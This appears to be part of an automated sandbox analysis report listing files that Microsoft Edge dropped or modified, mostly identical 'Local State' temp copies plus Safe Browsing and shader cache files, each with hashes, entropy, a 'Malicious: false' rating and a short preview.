MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b03b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b05a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2d75b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF300bc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3103d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF310ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33142.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bc3c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e35c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41f6b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2025265
Entropy (8bit):	4.00155346778132
Encrypted:	false
SSDEEP:	49152:9PTjRNZ/RYJPkcjJI2bO5xDZ5TPRcSzxF/S84KXyXexZ5ImDVypIhdQ4BvXhmawk:j
MD5:	998F940B4424B6035B52FD4DCD3421F0
SHA1:	F49F4BBBBA8953919C99668B13E1954BE4959EA9
SHA-256:	F5D5BB1BAF06880DA2E93BDBBAF53EBE4D1CEDDFF937B29C467048C69741822F
SHA-512:	4F3BD57D0EC3C42CAFD519CFB5B27C2CA28CA31004DAB83DA25B4C1B455C8DE36376A815759C59106D18A612A8A2E27E99313063A65B1FC851C9BCB150BB5038
Malicious:	false
Preview:	.........{ .*..{.....{. ...{aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2025265
Entropy (8bit):	4.00155346778132
Encrypted:	false
SSDEEP:	49152:9PTjRNZ/RYJPkcjJI2bO5xDZ5TPRcSzxF/S84KXyXexZ5ImDVypIhdQ4BvXhmawk:j
MD5:	998F940B4424B6035B52FD4DCD3421F0
SHA1:	F49F4BBBBA8953919C99668B13E1954BE4959EA9
SHA-256:	F5D5BB1BAF06880DA2E93BDBBAF53EBE4D1CEDDFF937B29C467048C69741822F
SHA-512:	4F3BD57D0EC3C42CAFD519CFB5B27C2CA28CA31004DAB83DA25B4C1B455C8DE36376A815759C59106D18A612A8A2E27E99313063A65B1FC851C9BCB150BB5038
Malicious:	false
Preview:	.........{ .*..{.....{. ...{aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	modified
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
